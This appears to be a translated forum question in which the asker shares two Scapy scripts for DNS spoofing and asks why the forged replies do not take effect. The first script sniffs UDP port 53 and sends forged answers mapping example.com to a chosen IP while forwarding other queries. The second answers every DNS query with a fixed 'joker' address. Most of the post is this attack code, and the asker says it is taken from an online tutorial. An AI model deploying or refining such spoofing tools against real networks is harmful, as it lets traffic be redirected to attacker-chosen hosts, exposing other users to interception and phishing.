因此,我正在使用在线教程来欺骗系统中的dns。 (您可以在previous question中阅读更多内容。)
我使用此代码将特殊地址重定向到另一个地址:
dns_server_ip = '46.165.233.150'
bpf_filt = 'udp port 53'
def dns_responder(local_ip):
def forward_dns(orig_pkt):
print('Forwarding:', orig_pkt[DNSQR].qname)
response = sr1(IP(dst="192.168.43.1", src="192.168.43.64") / UDP(sport=orig_pkt[UDP].sport) / \
DNS(rd=1, id=orig_pkt[DNS].id, qd=DNSQR(qname=orig_pkt[DNSQR].qname)), verbose=0)
#response.show()
respPkt = IP(dst=orig_pkt[IP].src, src=orig_pkt[IP].dst) / UDP(dport=orig_pkt[UDP].sport) / DNS()
respPkt[DNS] = response[DNS]
send(respPkt, verbose=0)
return 'Responding: {}'.format(respPkt.summary())
def get_response(pkt):
if DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0 and pkt[IP].src != local_ip:
if 'example.com' in str(pkt['DNS Question Record'].qname):
spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
/ UDP(dport=pkt[UDP].sport, sport=53) \
/ DNS(id=pkt[DNS].id, qr=1, qd=DNSQR(qname=pkt[DNSQR].qname), \
an=DNSRR(rrname="example.com", rdata = local_ip))
send(spfResp, verbose=0)
return 'Spoofed DNS Response Sent'
else:
# make DNS query, capturing the answer and send the answer
return forward_dns(pkt)
return get_response
sniff(filter=bpf_filt, prn=dns_responder(dns_server_ip))
此代码的问题是,当它捕获不需要的并且需要被跳过的doamin的数据包时,它将无限运行,并且永不停止,并继续从同一域发送和接收数据包。同时,当我输入要假冒的网址是example.com
之类的浏览器中的dns时,它不会捕获它。
如果我评论以下行:
return forward_dns(pkt)
在else语句中并写其他内容,它的确捕获了数据包并发送了响应,但是仍然在浏览器中看到相同的example.com
网站,而不是我提供了IP的网站剧本。
因此,整个过程是否可以在浏览器上运行?因为我在Windows命令中使用了nslookup
,但仍然获得了example.com
ip作为响应,而不是我伪造的那个。
应答机
现在,这是应答机的更新代码,假设我们要欺骗每个DNS请求:
class DNS_am (AnsweringMachine):
function_name = "dns_spoof"
filter="udp port 53"
def parse_options(self, joker="137.74.18.82", zone=None):
if zone is None:
zone = {}
self.zone = zone
self.joker = joker
def is_request(self, req):
return req.haslayer(DNS) and req.getlayer(DNS).qr==0
def make_reply(self, req):
ip = req.getlayer(IP)
dns = req.getlayer(DNS)
rdata = self.zone.get(dns.qd.qname, self.joker)
resp = IP(dst=ip.src, src=ip.dst) \
/ UDP(dport=ip.sport, sport=53) \
/ DNS(id=dns.id, qr=1, qd=dns.qd,
an=DNSRR(rrname=dns.qd.qname, rdata=rdata))
return resp
DNS_am()()
当我运行此脚本时,它成功捕获了所有dns查询并发送了伪造的响应,但是此响应没有生效。仍然主要的反应有效。 在wireshark中,虚假响应被标记为已传输响应。